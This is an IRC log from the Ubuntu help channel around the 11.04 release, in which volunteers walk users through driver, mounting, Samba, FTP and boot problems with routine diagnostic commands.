[02:29] <MacGyverNL> apt-cache search
[02:29] <george> <hiexpo> u think i can run the driver with WINE???
[02:30] <hiexpo> george,   f   <     wine
[02:30] <auxin> MacGyverNL, excellent, thanks!
[02:30] <MacGyverNL> Yw.
[02:31] <george> 00:00.0 Host bridge: Intel Corporation Core Processor DRAM Controller (rev 02)
[02:31] <george>         Subsystem: Toshiba America Info Systems Device fd00
[02:31] <george>         Flags: bus master, fast devsel, latency 0
[02:31] <george>         Capabilities: <access denied>
[02:31] <george>         Kernel driver in use: agpgart-intel
[02:31] <FloodBot2> george: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[02:31] <george>         Kernel modules: intel-agp
[02:31] <hiexpo> george,  give me output of that command
[02:31] <Adis45> Why wont my partition mount, i can't even force mount it
[02:32] <Adis45> is there any other way to mount it
[02:32] <usr13> Adis45: Which partition?
[02:32] <usr13> Adis45: Are you sure it's not alreday mounted?
[02:32] <Adis45> Its not
[02:32] <Adis45> its my other hard disk
[02:32] <usr13> Adis45: Is it listed in fstab?
[02:33] <Adis45> whats that
[02:33] <RedLance> Ok, I want to give my kids read only access to the Music samba share, but I want my wife and I to have read/write access...how do I set that up, please?
[02:33] <usr13> Adis45: fdisk -l | pastebinit   #And send us the resulting URL
[02:34] <usr13> RedLance: groups
[02:34] <escott> RedLance, if your wife and kids are the only users on the system then put your wife and you in a group say "parents" and chgrp the directory and all contents to "parents"
[02:34] <usr13> RedLance: man addgroup  man group
[02:34] <sebsebseb> !permissions | RedLance
[02:34] <ubottu> RedLance: An explanation of what file permissions are and how they can be manipulated can be found at https://help.ubuntu.com/community/FilePermissions
[02:34] <Adis45> usr13: http://pastebin.com/zZBGMALC
[02:34] <escott> RedLance, then revoke w permission from other
[02:35] <Adis45> its /dev/sda2
[02:35] <rww_> george: FloodBot is not sentient.
[02:35] <netmsi> escott, in the proftpd.conf file, is has a commented out template for an anonymous login..just copy that and make the appropriate changes?
[02:35] <RedLance> Ok, thanks everybody!
[02:35] <george> so can any help me??
[02:35] <escott> netmsi, that would be for anonymous (no password login) so if thats what you want sure
[02:36] <sebsebseb> george: Drivers do not work in Wine
[02:36] <usr13> Adis45: You would have to mount it with admin priviledges, (unless you specify that users can in the /etc/fstab file)
[02:36] <sebsebseb> george: or commmercial versions that are sold, for that matter
[02:36] <Adis45> I do mount it with admin privileges
[02:36] <george> o crap
[02:36] <Adis45> do you want me to pastebin the error I get?
[02:36] <george> so what can u do?
[02:36] <Adis45> that might help
[02:36] <usr13> Adis45: Yes
[02:36] <hiexpo> george, i told you what to do   run that command in the terminal so i know what chipset it has
[02:37] <netmsi> escott, def. not...but that configuration works for adding a user, and adding a password or psswd line to the file, or is a waste going that route?
[02:37] <escott> netmsi, it may be different. http://www.proftpd.org/docs/howto/VirtualUsers.html
[02:37] <hiexpo> george, lspci -v | less
[02:37] <sebsebseb> george: and with  hardware it depends on the dsitro, if it just works or doesn't,  in general Linux distro's tend to work quite well with pretty standard PC hardware though. and hiexpo can probably help you properly :)
[02:37] <RedLance> Does it change anything if I admit that the wife and kids access the samba server with Windows?  I use Ubuntu of course, and the samba server is Ubuntu too.  Are groups still the way to go?
[02:38] <escott> netmsi, the key thing is you want them to have the least priviliged access to the system, preferably nobody or guest
[02:38] <sebsebseb> RedLance: sure if set up right for Samba, you can do what you want, not sure how to do that myself though
[02:38] <george> fron the board is an intel
[02:38] <ubusammyn150> ?
[02:38] <netmsi> escott, gotcha...it's just the mechanics that are screwing me up..
[02:38] <Adis45> usr13: http://pastebin.com/qbVYBK5i
[02:39] <escott> netmsi, but you don't actually want to put a password on nobody or guest, and then have ftp passing that around in the clear, so I would put a password in the AuthUserFile for "nobody" and then tell them to login with that password and see if you can make that work.
[02:39] <escott> netmsi, understandable ftp is screwed up
[02:39] <ubusammyn150> gconf-snaity-check-2 exited with code 256...it says i have no internet but i do, i can't update..things close randomly..how do i fix this
[02:39] <ubusammyn150> sanity
[02:39] <usr13> Adis45: That's great, but I do not see the command you used that generated the error.
[02:39] <ezl> ;;bc,mtgox
[02:40]  * hiexpo george I know wifi  I am a aircrack-ng guy   :)  
[02:40] <Adis45> usr13: ok let me redo it
[02:40] <george> Communication controller: Intel Corporation 5 Series/3400 Series Chipset HECI Controller (rev 06)
[02:40] <multipass> is there a direct upgrade from 10.10 to 11.04 that you can do?
[02:40] <sebsebseb> ubusammyn150: can't get anything from the repo's anymore?
[02:40] <george> Communication controller: Intel Corporation 5 Series/3400 Series Chipset HECI Controller (rev 06)
[02:40] <sebsebseb> multipass: yes, but wait untill the final is out first, oh and if you do it on release day it may be rather slow to do
[02:40] <netmsi> escott, thanks so much...gonna go try some things out..most probably be back ...but appreciate immensely...
[02:40] <escott> netmsi, if you want it to be pretty you can put a different name on the nobody UID in that AuthUserFile and then they can signin as mrrogers if that makes more sense
[02:41] <ubusammyn150> i dont know what to get..sudo apt-get reconfigure isnt working either
[02:41] <sebsebseb> multipass: also since 11.04 get's a major interface change with Unity,  you may want to keep 10.10 a while longer
[02:41] <escott> netmsi, you could probably have a bunch of different aliases all to nobody's UID with their own password
[02:41] <sebsebseb> multipass: or dare I say it here :D look into some other distro
[02:41] <usr13> multipass: Tomorrow you will be ble to.
[02:41] <tehmbg> or get 11.04 but use a different desktop/window manager
[02:41] <sebsebseb> multipass: also soon after 11.04 comes out, Canonical will have a web thing, so people can try in a web browser
[02:41] <netmsi> escott, and would those alias each map to a separate direct.?
[02:42] <multipass> o what? try it in a web browser, sebsebseb ?
[02:42] <ubusammyn150> it is version 10.04
[02:42] <sebsebseb> multipass: yes,  it will be Unity 2D thought no Unity 3D, but nearly the same thing, other then that yep like as if you had installed 11.04
[02:42] <gogearvibe4g> 10.04 LTS?
[02:42] <Decision> anyone here can help me with a wifi driver
[02:42] <usr13> gogearvibe4g: Yes
[02:42] <KM0201> sebsebseb: really?.. i hadn't heard that, thats pretty awesome
[02:43] <escott> netmsi so nobody is 65534, you could have alice:65534\nbob:65534\ncharlie:65534 in your AuthUserFile (if I am understanding what I am reading correctly)
[02:43] <usr13> Decision: Probably.  Tell us what wifi device you have.
[02:43] <sebsebseb> KM0201: I read it on at least one site, maybe two even
[02:43] <KM0201> sebsebseb: very cool.. that takes "trying linux" to a whole new level.. don't even have to burn a cd
[02:43] <gogearvibe4g> i don't know.....i have not used it....
[02:43] <sebsebseb> KM0201: should be good yeah,  get people to try Unity like that first,  instead of them doing the upgrade, and then regretting it :d
[02:43] <gogearvibe4g> i am using 10.10
[02:43] <hypetech> unity rocks
[02:43] <usr13> Decision: lspci |grep ireless
[02:43] <sebsebseb> KM0201: indeed exactly
[02:44] <KM0201> sebsebseb: i kind of agree there.. i like unity, but my old laptop just couldn't handle it
[02:44] <sebsebseb> KM0201: right, but since it's a virtual machine or whatever on a Canonical server, then I guess like that, should work with old computers even, since they aren't running it
[02:44] <sebsebseb> KM0201: also Unity 2D may work with your old computer, but that's only a ppa for 11.04
[02:44] <ubusammyn150> sudo apt-get dpkg-reconfigure reports invalid
[02:45] <KM0201> sebsebseb: didn't care for unity-2d... so i just went xubuntu.. really happy with it.. i hadn't really used xfce4.. i like it.
[02:45] <gogearvibe4g> but how would you get 2d?
[02:45] <Decision> usr13,  that didnt do anything i ran it in terminal
[02:45] <multipass> so will it be ok to upgrade from 10.10 to 11.04? or would i be better off reformatting with 11.04
[02:45] <sebsebseb> KM0201: yeah XFCE is nice, but it's nice in loads of distro's not just Ubuntu :)
[02:45] <sebsebseb> Xubuntu even, above
[02:45] <usr13> Decision: lspci  #And just look for it.
[02:46] <usr13> Decision: and send us that line.
[02:46] <tjiggi_fo> Decision, wireless not ireless
[02:46] <usr13> tjiggi_fo: no ireless not wireless
[02:46] <sebsebseb> gogearvibe4g: I think Unity 2D is 11.04 only, also technically since, 11.04 isn't out just yet, the channel to talk about this would be #ubuntu+1
[02:46] <tjiggi_fo> usr13, 0_o
[02:46] <gogearvibe4g> multipass: i formatted and wiped my drive so i would wait for the upgrade just to be safe
[02:46] <usr13> tjiggi_fo: I left off the W on purpose.
[02:46] <sebsebseb> gogearvibe4g: and 11.10 will probably use Unity 2D as the fall back intead of Gnome 2, since they will be using Gnome 3 underneath Unity for that one :D
[02:46] <ezl> where do crontab files live?
[02:47] <gogearvibe4g> sebsebseb: Gotcha
[02:47] <escott> ezl, root crontab is in /etc/cron*
[02:47] <usr13> ezl: but you can see it via    crontab -l
[02:47] <escott> ezl, user cron files in /var/local/cron?
[02:47] <gogearvibe4g> i use a laptop with only 2gig of RAM but 250 gig of Drive space
[02:48] <DennyNY> Hi everyone.
[02:48] <gogearvibe4g> and i am using Beta 2 for 11.04
[02:48] <sebsebseb> gogearvibe4g: Unity 2D ppa search Google for that, that omgubuntu link,   how they said to install it,  that should do it :)  oh and Gnome Shell is the way to go really, but no proper Gnome 3 with Gnome Shell experience as an option untill 11.04 it seems.  There's a ppa for 11.04, but not the  ful experience.
[02:48] <gogearvibe4g> And sup, newguy
[02:48] <miiike> hi, I just installed ubuntu 10.10 64 bit on an asus ul50vt laptop and went to update the nvidia driver, now when i restart I'm getting it hanging at the "checking battery state" message
[02:48] <sebsebseb> gogearvibe4g: above I meant to put 11.10 for Gnome 3 proper expereince
[02:48] <miiike> i'm pretty new to linux so i'm not really understanding what to do here
[02:49] <sebsebseb> gogearvibe4g: as an option
[02:49] <usr13> ezl:   crontab -e     #To edit
[02:49] <gogearvibe4g> miiike: Is your laptop plugged in?
[02:49] <sebsebseb> miiike: how did you install the Nivida driver?
[02:49] <miiike> gogearvibe4g: it's not right now
[02:49] <sebsebseb> KM0201: see above what I said about Gnome 3 by the way :)
[02:50] <gogearvibe4g> sebsebseb: again, gotcha..
[02:50] <miiike> sebsebseb: i just clicked on "additional drivers" when i started ubuntu up for the first time and installed it through what popped up there
[02:50] <gogearvibe4g> sebsebseb: Was just curious.... :D
[02:50] <sebsebseb> gogearvibe4g: some other distro's already doing Gnome 3, and Fedora 15 will soon when it's released, and yeah.
[02:50] <Decision> i did that figured  oit
[02:50] <sebsebseb> miiike: ok that should have worked really
[02:50] <KM0201> sebsebseb: i actually tried gnome shell... didn't really care for it.. (it was a bit buggy for me).. but i did try the live CD for Open Suse, which had Gnome 3.. and it was very good.. i'm guessing when Gnome 3 PROPERLY hits ubuntu 11.10, it will be much better
[02:51] <Decision> usr13,  its a realtek
[02:51] <sebsebseb> miiike: ,but really you don't need the  propritary driver installed in 10.10, unless you want some compiz effects, or a few 3D games,  11.04 which will come out pretty soon from now,  well things are a bit differnet there,  because the 3D version of the new Unity interface needs a propritary driver or experimental 3D driver.  in fact if you only just put 10.10 on a lap top, I would suggest waiting untill a bit later and then putting 11.04 on.
[02:51] <gogearvibe4g> miiike: hmmm......
[02:52] <hiexpo> sebsebseb, what video card he have ?
[02:52] <escott> nvidia
[02:52] <miiike> sebsebseb: oh okay.  how do I remove it now that i've installed it? lol
[02:52] <gogearvibe4g> 11.04 come out TOMORROW!!! {crapping excited!!!} xD
[02:52] <hiexpo> add the nvidia repos   :)
[02:53] <escott> miiike, since this froze up on battery state have you tried booting while plugged in
[02:53] <rww_> gogearvibe4g: so is #ubuntu-release-party!
[02:53] <kontagious> how long guys?
[02:53] <gogearvibe4g> rww: YEA!!!!
[02:53] <escott> !isitout
[02:53] <ubottu> It's out soon! Join #ubuntu-release-party and await release with the other excited folks :D
[02:54] <miiike> escott: yeah I just tried it and it does the same thing when plugged in
[02:54] <gogearvibe4g> Did you just barely install??
[02:54] <hiexpo> miiike, whatnvidia card is it ?
[02:55] <miiike> GeForce G210M
[02:55] <gogearvibe4g> miiike: was a new install? I had a simmilar problem and reinstalled and it worked out fine
[02:55] <escott> its an asus ul*c right. does that have switchable graphics? is it a core i-series
[02:55] <hiexpo> miiike, wow thats old   >   you scraped the dust off with a chain saw   :)
[02:56] <miiike> gogearvibe4g: yeah i just installed it clean a few minutes ago
[02:56] <miiike> hiexpo: i have no idea, a friend just gave me this laptop lol
[02:56] <escott> hiexpo, i think they spun the 210s into a mobile low power variant, its actually pretty new iirc
[02:56] <gogearvibe4g> miiike it maybe a bad install. Try again and see what happens
[02:57] <escott> miiike, you might also see if you have switchable graphics options in the bios and explicitly selecting one
[02:57] <codex84> why ktorrent
[02:57] <codex84> dl so slow
[02:57] <Squall5668> codex maybe you didn't forward your port?
[02:57] <hiexpo> miiike, did you go to /system/admin/hardwaredrivers   >   and no pripority drivers for it ?
[02:58] <gogearvibe4g> i agree with escott, see if that is that case BEFORE reinstall
[02:58] <gogearvibe4g> :D
[02:58] <Zyclops> hey guys, is it possible to setup a connection to openvpn without installing a 3rd party client?
[02:58] <miiike> escott, okay i'll look
[02:58] <codex84> is forwared
[02:59] <miiike> hiexpo, no i didn't, i'm still just kind of trying to learn my way around linux, this is my first time playing with it so i don't really know too much of what i'm doing
[02:59] <ubusammyn150> even sudo apptitude is telling me there is no drive "e" when i try to re-install libs
[02:59] <ubusammyn150> what is the command to reconfigure ubuntu?
[03:00] <escott> ubusammyn150, ubuntu doesn't use drive letters
[03:00] <Decision> usr13,  so what  do i need to do i can get the realtek driver for linux
[03:00] <ubusammyn150> yea it does
[03:00] <Squall5668> ubusammyn please specify "reconfigure ubuntu"
[03:00] <ubusammyn150> lol
[03:00] <Decision> usr13, no idea how to instal it though
[03:00] <Decision> a .tar.bz2 file
[03:00] <Squall5668> and it really doesn't use them :)
[03:00] <ubusammyn150> like sudo apt-get dpkg-reconfigure is not working what is wrong?
[03:01] <hiexpo> miiike, go there and open that dir   first and see if there is a pro driver there if so click it and it will say not in use click it and use it
[03:01] <CooKieMonster> anyone know what is the best tv viewer for tv tuner card with philips chip on it ?
[03:01] <escott> ubusammyn150, sudo apt-get install program-name-goes-here
[03:01] <hypetech> ubusammyn150: just do sudo dpkg-reconfigure <package>
[03:01] <miiike> hiexpo, how do i get there? it hangs everytime i try and start my laptop
[03:01] <hiexpo> !best | CooKieMonster
[03:01] <ubottu> CooKieMonster: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[03:01] <ubusammyn150> what if i want to reconfigure everything
[03:01] <hiexpo> miiike, hmm
[03:01] <Squall5668> you reinstall ubusammyn
[03:02] <ubusammyn150> wth is libacme-brainfuk-perl?
[03:02] <ubusammyn150> orry squall your ignored
[03:03] <Squall5668> Oo
[03:03] <usr13> miiike: You have installed nvidia driver and you don't have gui any more?  Is that your situation?
[03:03] <ubusammyn150> soo what exactly would i type...the entire name of the os kernal version?
[03:03] <escott> ubusammyn150, brainfuck is a programming language known for being very hard to understand. used more as a challenge for programmers
[03:03] <miiike> usr13, i just installed ubuntu, and installed that nvidia driver, and now when my laptop starts up it gets to "checking battery state" and hangs there
[03:04] <hiexpo> miiike, push esc button on boot and see it you can boot in safe mode
[03:04] <linuxdemon> how do i install torrents?
[03:04] <escott> ubusammyn150, you will have to explain more what you mean "reconfigure"
[03:04] <escott> !torrent | linuxdemon
[03:04] <usr13> miiike: so you can not login?
[03:04] <ubottu> linuxdemon: Torrent clients: Transmission (GTK and terminal-based), Deluge-Torrent, Freeloader, BitStormLite, BitTornado-GUI (GTK), KTorrent (KDE), QTorrent (Qt), Azureus (Java), TorrentFlux (web-based), bittornado, rTorrent, cTorrent, bittorrent, aria2 (terminal-based) - FAQ: http://www.bittorrent.com/FAQ.html - See also !P2P
[03:04] <hiexpo> linuxdemon, you don't install torrents
[03:04] <usr13> miiike: Describe the screen.
[03:04] <miiike> usr13, nope, i can't do anything, it just stops at the black screen
[03:05] <miiike> hiexpo, i'll try that
[03:05] <linuxdemon> i know that i download them but i have yet to figure out how to install the programs
[03:05] <hiexpo> miiike, good luck   :)
[03:05] <ubusammyn150> libgconf2-4 gconfsanity?? is reporting error 256
[03:05] <ubusammyn150> how do we connect remotely?
[03:05] <escott> linuxdemon, we can't really help you install a program you downloaded off a torrent. we don't even know what it is
[03:05] <usr13> miiike: Ctrl-Alt-F6
[03:05] <linuxdemon> im trying to install parallels
[03:06] <hiexpo> linuxdemon, when you download them click open with and should be default transmission
[03:06] <Squall5668> miiike try shift too, to get the grub menu
[03:06] <jeremymcs> 'xterm-new': unknown terminal type.
[03:06] <usr13> miiike: (Hold Ctrl and Alt keys while hitting    F6
[03:06] <jeremymcs> anyone getting this on 10.10
[03:06] <usr13> miiike: And then login...
[03:07] <escott> !piracy | linuxdemon
[03:07] <ubottu> linuxdemon: piracy discussion and other questionably legal practices are not welcome in the Ubuntu channels. Please take this discussion elsewhere or abstain from it altogether. This includes linking to pirated software, music, and video. Also see !guidelines and !o4o
[03:07] <miiike> usr13, that worked to log me in, i don't really know what to do from there though
[03:07] <ubusammyn150> i want to repair version 10.04 via terminal...
[03:07] <ubusammyn150> the entire os
[03:07] <ubusammyn150> not just one package or module
[03:08] <escott> jeremymcs, where are you getting this problem
[03:08] <usr13> miiike: Now what error were you getting?
[03:08] <escott> ubusammyn150, have you tried virtualbox?
[03:08] <Mitchell-92> Hey... I have a question - how does unity compare to gnome 3?
[03:08] <MrBean> Hi all, is it safe to use the gui frontend to APT (synaptic?) and CLI APT mixed?
[03:08] <escott> ubusammyn150, and how would parallels help you exactly !xy | ubusammyn150
[03:08] <lucus> hi... wanted to ask if it is worth migrating to btrfs at this stage
[03:08] <ubusammyn150> some packages are installed virtually and should not be
[03:09] <miiike> usr13, i wasn't getting a specific error, it would just hang when it got to "Checking Battery State" when it was booting
[03:09] <escott> lucus, no not really
[03:09] <jeremymcs> escott: whenever i type something, lol
[03:09] <ubusammyn150> wth does virtualbox have anything to do with what i'm trying to do?
[03:09] <ubusammyn150> it  doesnt
[03:09] <escott> jeremymcs, its probably something in your .bashrc did you mess with that
[03:09] <usr13> miiike: So this was right after install?
[03:09] <escott> ubusammyn150, sorry confused you with linuxdemon
[03:09] <jeremymcs> escott: nope
[03:09] <ubusammyn150> =/
[03:10] <jeremymcs> clean install, out of box ive gotten this on 2 machines
[03:10] <tjiggi_fo> MrBean, yes
[03:10] <miiike> usr13, i installed it and it started up with no problems, then i went to "additional drivers" and it suggested an nvidia driver, so i installed that and restarted and since i restarted it's been hanging at the battery message
[03:10] <escott> jeremymcs, its something about the terminal client you are using. it is reporting itself as xterm-new instead of xterm, and that is causing problems in the bashrc or somewhere
[03:10] <jeremymcs> escott: term is set for xterm-new .. and it gets that error
[03:10] <usr13> miiike: ls /etc/X11/xorg.conf
[03:11] <lucus> escott: was thinking about all those goodies about subvolumes and compression. Seems a good scenario for dualbooting and installing other distros on the same partition. Is it very unstable at the moment?
[03:11] <usr13> miiike: What does that ^^^ say?
[03:11] <Bendyr> Hey I just installed ubuntu 11.04 on a dell mini 9, replacing a mac osx installation.  When I try to boot I get "boot0: error", but if I boot through a thumb drive I can get into ubuntu fine.  Is there a way to fix the bootloader without doing a full reinstall?
[03:11] <escott> linuxdemon, try virtualbox legal, no torrents and in the apt archive
[03:11] <linuxdemon> i have two questions...how does unity compare to gnome and also is wine the best windows emulator
[03:11] <miiike> just says "
[03:11] <miiike> "/etc/X11/xorg.conf"
[03:12] <escott> lucus, yeah... except for the random fsck errors when you get more than 15 subvolumes, and the slowness using firefox, and the unrecoverability from errors its great!
[03:12] <MrBean> tjiggi_fo: thanks
[03:12] <usr13> miiike: sudo  rm /etc/X11/xorg.conf ; sudo  /etc/init.d/gdm restart
[03:12] <escott> lucus, for a throwaway system by all means give it a go. but its not realistic for a system you will actually use
[03:12] <lucus> escott: LOL!!! You got me...
[03:13] <miiike> usr13, ooh, it went past it and to the login screen now
[03:13] <ubusammyn150> cannot open aptitude state file?
[03:13] <escott> lucus, im only running it now because im taking a break before school and have lots of spare time if it goes kapute
[03:13] <usr13> miiike: Yea, do it.
[03:14] <usr13> miiike: let us know what happens.
[03:14] <usr13> miiike: Oh, you have login screen now?  Good!  :)
[03:14] <miiike> usr13, yeah haha, i'm going to restart and make sure it'll go all the way now
[03:14] <usr13> miiike: Sorry... didn't understand you.
[03:14] <lucus> escott: to be completely honest I did an install. Have 3 subvolumes at the moment. @32 @64 @home. Works fine, only booting takes ages...
[03:14] <usr13> miiike: Ok.
[03:15] <miiike> usr13, out of curiosity, what did that actually do?
[03:15] <usr13> miiike: just got rid of an improperly written config file.
[03:15] <escott> lucus thats the fsck scans the whole drive takes 2+ minutes
[03:16] <usr13> miiike: ... and restarted the Xserver
[03:16] <rsouthard_> can someone recommend an easy program to resize icons?
[03:16] <miiike> usr13, ahh okay.  it started up perfectly, thanks so much!
[03:16] <usr13> miiike: You removed the file   /etc/X11/xorg.conf  file and restarted gdm which is the Desktop window manager.
[03:17] <lucus> escott: Is it necessary to do an fsck at every boot? can't this be tuned? I remember Hardy took over 2 minutes in similar situations, but every 30 boots or so
[03:18] <usr13> miiike: But you are now back to the OpenSource nvidia driver.  (And not using the proprietary one you installed earlier, it is not being used anymore.)
[03:18] <miiike> usr13, oh okay.  from what's been explained to me i guess i don't really need the proprietary one anyway
[03:19] <hiexpo> miiike, yes you do
[03:19] <ubusammyn150> still, not even regognizeing sudo apt-get dpkg-reconfigure... says E: invalid operation
[03:20] <jang_tech> miiike, but you can't use compiz.
[03:20] <cc11rocks> hello ubuntu
[03:20] <usr13> miiike: You can (now or later) try and repair it, or.. you can just keep using the OpenSource one, (which for all practical purposes, works just fine).
[03:20] <cc11rocks> when does Ubuntu 11.04 come out?
[03:20] <codex84> ccll
[03:20] <codex84> tommorow
[03:20] <usr13> cc11rocks: Later
[03:20] <cc11rocks> i know Ubuntu 11.04 comes out tomorrow
[03:21] <cc11rocks> like what exact time
[03:21] <xiambax> really?
[03:21] <Squall5668> there is no specified time
[03:21] <xiambax> tomorrow?
[03:21] <cc11rocks> okay ty
[03:21] <miiike> usr13, i wouldn't really even know where to begin with repairing it
[03:21] <codex84> no there time
[03:21] <codex84> bimbo lol
[03:21] <xiambax> im already running ubuntu+1
[03:22] <xiambax> there will be no big differences between what im running now and what gets released tomorrow
[03:22] <varunvyas> hi all
[03:22] <cc11rocks> are the Beta versions different then the official ones?
[03:22] <cc11rocks> xiambax, did you just answer my question?
[03:22] <Squall5668> yes, cc11rocks, they are not stable and they are not supported
[03:22] <cc11rocks> cause i have the Beta version on my flash drive
[03:22] <varunvyas> could i upgread from 10.04 to 11.04 ?
[03:22] <cc11rocks> all the programs kept crashing
[03:22] <Decision> usr13, did i miss your reply.....
[03:22] <rww_> varunvyas: you'd have to go through 10.10 first
[03:23] <varunvyas> ok
[03:23] <cc11rocks> upgrade to 10.10 then to 11.04 when it comes out
[03:23] <varunvyas> thanks friends
[03:23] <cc11rocks> np
[03:23] <Decision> usr13,  i have no idea how to  install the driver
[03:24] <usr13> miiike: well there are tools that can do that, but I think you would need to turn off the Xserver to use them.  nvidia-xconfig  is probably the one you would most likely need to use.  BUT, it is probably the utility that failed and created the error ridden /etc/X11/xorg.conf file in the first place.
[03:24] <harrihu> I'm trying to get a pc with ubuntu 10 something to work with the s video port on the graphics card for a media pc
[03:24] <cc11rocks> does anyone know how to make Ubuntu run faster? it runs quite slow on my computer
[03:24] <harrihu> but it just rolls
[03:25] <cc11rocks> or maybe it's because it on a flash drive...is there a performance drop in using a flash drive over a hard drive? i would think it would be faster in some cases
[03:25] <harrihu> ccllrocks do you know the specs on your computer?
[03:25] <cc11rocks> *it's
[03:25] <usr13> miiike: But, that is not to say it wouldn't work  right the next time.  Who knows...
[03:25] <cc11rocks> yes i do
[03:25] <cc11rocks> one sec
[03:25] <harrihu> ccllrocks it would run way faster using a hard drive over a usb
[03:25] <cc11rocks> oh
[03:25] <harrihu> er um instad of a usb that is
[03:25] <usr13> cc11rocks: pastebinit /proc/cpuinfo
[03:26] <cc11rocks> CPU: Intel Atom N270 @ 1.60 GHz (Diamondville 45nm Technology)
[03:26] <usr13> cc11rocks: pastebinit /proc/meminfo
[03:26] <cc11rocks> RAM: 1.0GB Single-Channel DDR2@ 266 MHz
[03:26] <cc11rocks> Motherboard: ASUSTeK Computer INC. 1005HA
[03:27] <usr13> cc11rocks: is that single core?
[03:27] <cc11rocks> yes
[03:27] <cc11rocks> Graphics: Digital flat panel 1024 X 768
[03:27] <usr13> cc11rocks: What did you install on it?  (What ISO?)
[03:27] <cc11rocks> Mobile Intel(R) 945 Express Chipset Family
[03:27] <ubusammyn150> yea i can't find anything related... to my issue in google..most people gave up and re0installed from cd etc
[03:27] <usr13> cc11rocks: lsb_release -a
[03:27] <cc11rocks> i've used 10.04, 10.10, and 11.04 Beta
[03:27] <cc11rocks> they all run kinda slow
[03:28] <harrihu> there is a version of ubuntu for older slower machines called xubuntu if I'm not mistaken (correct me if I'm wrong here )
[03:28] <ubusammyn150> 10.04 should work with older machines?
[03:28] <ubusammyn150> how old is this pc?
[03:28] <cc11rocks> about half a year to a year
[03:28] <usr13> cc11rocks: When is the last time you cracked it open and gave it a good cleaning?
[03:28] <Squall5668> cc11rocks 11.04 will be slow for you since unity needs too much 3d stuff, you can revert to ubuntu classic at login
[03:28] <cc11rocks> it's a netbook
[03:28] <cc11rocks> never usr13
[03:29]  * hiexpo system never broke   <   usually operator  broke 
[03:29] <ubusammyn150> i have ubuntu 11 on my samsung n150 equvilent to a asus eepc
[03:30] <usr13> cc11rocks: Ok.  Open it up.  Take the heat sink off, clean it really good.  Wipe the heat sink contact area and the CPU contact area with alcohol, dry it off. put on new cpu grease, put it back together.
[03:30] <ubusammyn150> i used wubi tho
[03:30] <cc11rocks> with a netbook
[03:30] <cc11rocks> ?
[03:30] <ubusammyn150> yea
[03:30] <mfilipe> hi! i want apply a patch in my kernel (linux-image-generic-pae-2.6.38.8.22), so what is the better way to do this?
[03:30] <ubusammyn150> wubi isnt very popualr tho
[03:30] <harrihu> you don't really need to clean out a netbook
[03:30] <usr13> cc11rocks: Oh, it's a notebook... well.. That's a bit more complicated.
[03:30] <cc11rocks> That's scary man
[03:30]  * Decision wonders if i can be heard
[03:30] <harrihu> it's fine
[03:30] <cc11rocks> i could do it w/ a regular desktop
[03:30] <ubusammyn150> lol
[03:30] <cc11rocks> not with a netbook
[03:30] <rww_> Decision: yes
[03:31] <usr13> cc11rocks: but it still could be clogged up with dust and overheating.
[03:31] <cc11rocks> true
[03:31] <ubusammyn150> all pc's need to be cleaned, but not such a new one
[03:31] <ubusammyn150> then it wouldnt even get bios
[03:31] <cc11rocks> running Windows 7 starter is fine
[03:31] <cc11rocks> it's fast
[03:31] <harrihu> just be sure to keep the vents open so the fans can work and if needed use a laptop cooling pad
[03:31] <usr13> ubusammyn150: They darn sure do in my house!  :)
[03:31] <cc11rocks> i would dual boot if Ubuntu was faster...
[03:31] <harrihu> it should be fine
[03:31] <ubusammyn150> lol
[03:31] <Johny_GM> hai everwyone..what time exactly will be ubuntu 11.04 be released?
[03:31] <Squall5668> Decision: what's wrong? i didn't see anything
[03:31] <ubusammyn150> ubuntu is faster
[03:31] <usr13> Johny_GM: Later
[03:31] <cc11rocks> that's what i asked Johny_GM
[03:31] <ubusammyn150> windows is slower
[03:32] <rww_> Johny_GM: When it's ready. There is no set time.
[03:32] <cc11rocks> i know
[03:32] <Squall5668> no specified time jhony
[03:32] <harrihu> as far as the netbook running slow there isn't much you can do. I'd make sure you aren't doing too much multitasking
[03:32] <multipass_> !countdown
[03:32] <cc11rocks> but Ubuntu is running slower on my computer
[03:32] <cc11rocks> not using as much RAM, but just slower
[03:32] <rww_> !countdown
[03:32] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[03:32] <usr13> harrihu: you could try a more lightweight Desktop Manager
[03:32] <ubusammyn150> the ubuntu netbook versions i dont think install the proper integrated gfx drivers
[03:32] <usr13> cc11rocks: you could try a more lightweight Desktop Manager
[03:33] <usr13> cc11rocks: xfce is fast
[03:33] <ubusammyn150> after i install the 965 chipset drivers it seemed to run faster
[03:33] <harrihu> Well actually I'm not worried about speed I have another problem
[03:33] <loller> ##namespace is the cool place to hang out. You can find most of the cool people there. In ##namespace you can just chill and do whatever and totally relax. "Take it easy" is the ##namespace motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.
[03:33] <usr13> !xfce
[03:33] <ubottu> Xubuntu is Ubuntu with Xfce instead of !GNOME. More info at http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: « sudo apt-get install xubuntu-desktop » - Join #xubuntu for support - See also: !Ubuntu and !Xubuntu-Channels
[03:33] <harrihu> the s - video port rolls and is un viewable in ubuntu
[03:34] <harrihu> I need it to work because it's a media pc
[03:34] <ubusammyn150> ty ubottu
[03:34] <harrihu> worked fine in xp
[03:34] <rww_> loller: Don't advertise in here.
[03:34] <usr13> xfce is a little more limited, but not all that much.
[03:34] <cc11rocks> just went to the release party chat...they say it will be April 28th somewhere in the world
[03:34] <ubusammyn150> lol
[03:34] <usr13> it's pretty nice
[03:34] <ubusammyn150> thats funny, dont advertise hehe
[03:35] <cc11rocks> me?
[03:35] <ubusammyn150> just dont advertise anything ot xD
[03:35] <ubusammyn150> yea it the 28th is austrailia
[03:36] <Guest11601> ..
[03:36] <cc11rocks> it IS the 28th in Australia or it will be released on the 28th in Austrialia?
[03:36] <cc11rocks> brb
[03:36]  * hiexpo patience is the best virtue 
[03:37] <ubusammyn150> !landscape
[03:37] <ubottu> Landscape makes the management and monitoring of Ubuntu systems simple and effective by combining world-class support with easy to use online management tools. https://landscape.canonical.com/
[03:37] <uofm49426> why do i need a update for xorg savage ? my laptop is intel i915
[03:37] <Guest11601> hsajhkasa
[03:37] <ubusammyn150> how would landscape get installed without me telling it to?
